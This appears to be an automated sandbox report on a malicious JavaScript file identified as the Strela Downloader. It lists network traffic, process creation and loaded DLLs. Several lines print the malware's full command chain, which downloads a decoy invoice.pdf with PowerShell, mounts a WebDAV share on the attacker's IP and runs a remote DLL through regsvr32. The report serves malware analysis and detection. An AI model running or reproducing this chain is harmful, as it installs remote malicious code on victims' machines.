Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1677612446.0000025CD19A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1741770583.000001D6F0C46000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1741603409.000001D6F0C20000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1738770316.000001D6F0C3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1741770583.000001D6F0C3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1738770316.000001D6F0C46000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1741770583.000001D6F0C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/U
Source: svchost.exe, 00000008.00000002.2972621089.00000264C1C12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1740867583.00000264C1AB8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1740867583.00000264C1AB8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1740867583.00000264C1AB8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1740867583.00000264C1AED000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1740867583.00000264C1B62000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1740867583.00000264C1B62000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1740867583.00000264C1B62000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7300, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 11234261403012723904.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7360:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5a1eckl.ivs.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11234261403012723904.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1544,i,4828611498505330014,18356012295876335085,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1544,i,4828611498505330014,18356012295876335085,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
